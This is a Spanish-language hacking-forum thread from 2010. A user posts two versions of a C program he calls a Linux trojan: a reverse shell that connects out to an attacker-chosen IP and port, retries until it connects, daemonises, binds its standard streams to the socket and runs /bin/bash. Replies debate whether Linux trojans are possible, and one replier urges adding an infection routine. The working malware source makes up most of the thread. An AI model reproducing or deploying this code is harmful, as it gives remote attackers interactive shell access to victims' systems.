Foro de elhacker.net

Programación => Programación C/C++ => Mensaje iniciado por: Garfield07 en 18 Diciembre 2010, 15:55 pm



Título: [C] Linux Trojan & dup2 ()
Publicado por: Garfield07 en 18 Diciembre 2010, 15:55 pm
Terminado y corregido... El problema era que se me olvido cerrar los descriptores estandar...
Corrigiendo code...
Recuerdo que no esta terminado. Posteen mejoras, etc..

Código
  1. #include <time.h>
  2.  
  3. #include <stdio.h>
  4.  
  5. #include <stdlib.h>
  6.  
  7. #include <string.h>
  8.  
  9. #include <sys/socket.h>
  10.  
  11. #include <arpa/inet.h>
  12.  
  13.  
  14.  
  15. struct sockaddr_in host;
  16.  
  17. int sockfd;
  18.  
  19.  
  20.  
  21. int execsock (int socket, char program [])
  22.  
  23. {
  24.  
  25. close(0);
  26.  
  27. close(1);
  28.  
  29. close(2);
  30.  
  31.  
  32.  
  33. dup2(socket, 0);
  34.  
  35. dup2(socket, 1);
  36.  
  37. dup2(socket, 2);
  38.  
  39.  
  40.  
  41. execve(program, NULL, NULL);
  42.  
  43. return 0;
  44.  
  45. }
  46.  
  47.  
  48.  
  49. int main (int argc, char *argv [])
  50.  
  51. {
  52.  
  53. time_t now=time (0);
  54.  
  55. struct tm *ahora;
  56.  
  57. char hora [40];
  58.  
  59. ahora=localtime ((const time_t*)&now);
  60.  
  61. strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
  62.  
  63. printf ("Linx 1.0 - By Sagrini (2010) - %s\n", hora);
  64.  
  65.  
  66.  
  67. if (argc == 3)
  68.  
  69. {
  70.  
  71. host.sin_addr.s_addr = inet_addr (argv [1]);
  72.  
  73. host.sin_port = htons (atoi (argv [2]));
  74.  
  75. host.sin_family = AF_INET;
  76.  
  77. memset (host.sin_zero, 0, 8);
  78.  
  79. }
  80.  
  81. else
  82.  
  83. {
  84.  
  85. host.sin_addr.s_addr = inet_addr ("127.0.0.1"); // A modificar!
  86.  
  87. host.sin_port = htons (31337);
  88.  
  89. host.sin_family = AF_INET;
  90.  
  91. memset (host.sin_zero, 0, 8);
  92.  
  93. }
  94.  
  95.  
  96.  
  97. printf ("Iniciando...\t");
  98.  
  99. sockfd = socket (2, 1, 0);
  100.  
  101. if (sockfd != -1)
  102. {
  103.  
  104. printf ("[OK]\nConectando...\t\a");
  105. }
  106.  
  107. else
  108.  
  109. {
  110.  
  111. printf ("[FAIL]\n\n");
  112.  
  113. return 1;
  114.  
  115. }
  116.  
  117.  
  118. while (connect (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr)) == -1)
  119. sleep (1);
  120.  
  121. printf ("[OK]\nLanzando sell...\t[OK]");
  122. daemon (1, 0);
  123.  
  124. execsock (sockfd, "/bin/bash");
  125.  
  126. close (sockfd);
  127.  
  128. return 0;
  129.  
  130. }
  131.  
  132.  

Ahora, el problema esta en que al compilar y correr, no me escribe correctamente lo que le digo: Atencion aqui:
Código
  1. printf ("[OK]\nConectando...\t\a");
Linea sencilla no? Pues no me postea lo de "Conectando" hasta que alguien no se conecta, o sea, la sigiente liena...


Título: Re: [C] Linux Trojan & dup2 ()
Publicado por: Chuckporris en 18 Diciembre 2010, 16:10 pm
No tengo mucha idea sobre esto,pero creo qe en linux es IMPOSIBLE CREAR UN TROYANO.
Pero bueno..suerte.


Título: Re: [C] Linux Trojan & dup2 ()
Publicado por: pucheto en 18 Diciembre 2010, 16:12 pm
No tengo mucha idea sobre esto,pero creo qe en linux es IMPOSIBLE CREAR UN TROYANO.
Pero bueno..suerte.
Equivocado, si se puede... el tema es q le tenes q dar permisos.


Título: Re: [C] Linux Trojan & dup2 ()
Publicado por: braulio-- en 18 Diciembre 2010, 16:34 pm
No tengo mucha idea sobre esto,pero creo qe en linux es IMPOSIBLE CREAR UN TROYANO.
Pero bueno..suerte.

Para nada es imposible crear un troyano, de hecho yo hice hace tiempo uno.

Si quieres un consejo te recomiendo que si vas a hacer un gran troyano hagas un código mucho más ordenado que te permita añadirle nuevas features fácilmente. También te falta una rutina de infección que no es difícil de hacer en linux.

Suerte.


Título: Re: [C] Linux Trojan & dup2 ()
Publicado por: Garfield07 en 18 Diciembre 2010, 17:32 pm
Viendo que se puede... Gracias por los consejos, ahora me pongo...
PD: Ahora modifico con el code...


Título: Re: [C] Linux Trojan & dup2 ()
Publicado por: braulio-- en 18 Diciembre 2010, 19:58 pm
Se me olvidaba decirte ... el nombre lynx ya está cogido. Es un navegador por consola para linux.


Título: Re: [C] Linux Trojan & dup2 ()
Publicado por: Garfield07 en 19 Diciembre 2010, 14:57 pm
Finish! Bueno, no del todo, version 0.2 xD:
Código
  1. #include <time.h>
  2.  
  3. #include <stdio.h>
  4.  
  5. #include <stdlib.h>
  6.  
  7. #include <string.h>
  8.  
  9. #include <sys/socket.h>
  10.  
  11. #include <arpa/inet.h>
  12.  
  13.  
  14.  
  15. struct sockaddr_in host;
  16.  
  17. int sockfd;
  18.  
  19.  
  20.  
  21. int sell ()
  22.  
  23. {
  24.  
  25. close(0);
  26.  
  27. close(1);
  28.  
  29. close(2);
  30.  
  31.  
  32.  
  33. dup2(sockfd, 0);
  34.  
  35. dup2(sockfd, 1);
  36.  
  37. dup2(sockfd, 2);
  38.  
  39.  
  40.  
  41. execve("/bin/bash", NULL, NULL);
  42.  
  43. return 0;
  44.  
  45. }
  46.  
  47.  
  48.  
  49. int main (int argc, char *argv [])
  50.  
  51. {
  52.  
  53. time_t now=time (0);
  54.  
  55. struct tm *ahora;
  56.  
  57. char hora [40];
  58.  
  59. ahora=localtime ((const time_t*)&now);
  60.  
  61. strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
  62.  
  63. printf ("Linx 1.0 - By Sagrini (2010) - %s\n", hora); //Esto escribira la presentacion.
  64.  
  65.  
  66.  
  67. if (argc == 3)
  68.  
  69. {
  70.  
  71. host.sin_addr.s_addr = inet_addr (argv [1]);
  72.  
  73. host.sin_port = htons (atoi (argv [2]));
  74.  
  75. host.sin_family = AF_INET;
  76.  
  77. memset (host.sin_zero, 0, 8);
  78.  
  79. }
  80.  
  81. else
  82.  
  83. {
  84.  
  85. host.sin_addr.s_addr = inet_addr ("127.0.0.1"); // A modificar!
  86.  
  87. host.sin_port = htons (31337);
  88.  
  89. host.sin_family = AF_INET;
  90.  
  91. memset (host.sin_zero, 0, 8);
  92.  
  93. }
  94.  
  95.  
  96.  
  97. printf ("Iniciando...\t");
  98.  
  99. sockfd = socket (2, 1, 0);
  100.  
  101. if (sockfd != -1)
  102. {
  103.  
  104. printf ("[OK]\n");
  105. }
  106.  
  107. else
  108.  
  109. {
  110.  
  111. printf ("[FAIL]\n\n");
  112.  
  113. return 1;
  114.  
  115. }
  116.  
  117.  
  118.  
  119. printf ("Conectando...\t");
  120.  
  121. while (connect (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr)) == -1)
  122. sleep (1);
  123.  
  124.  
  125. printf ("[OK]\n");
  126.  
  127. daemon (1, 0);
  128.  
  129.  
  130.  
  131. printf ("Lanzando sell...\t");
  132.  
  133. if (sell ()==-1)
  134.  
  135. {
  136.  
  137. close (sockfd);
  138.  
  139. printf ("[FAIL]\n\n");
  140.  
  141. return 1;
  142.  
  143. }
  144.  
  145. printf ("[OK]\n");
  146.  
  147. close (sockfd);
  148.  
  149. return 0;
  150.  
  151. }
  152.  
  153.  

Ahora lo que falla es que "Conectando..." no se escribe hasta que no se conecta...Como lo puedo arreglar?

Me podrian ayudar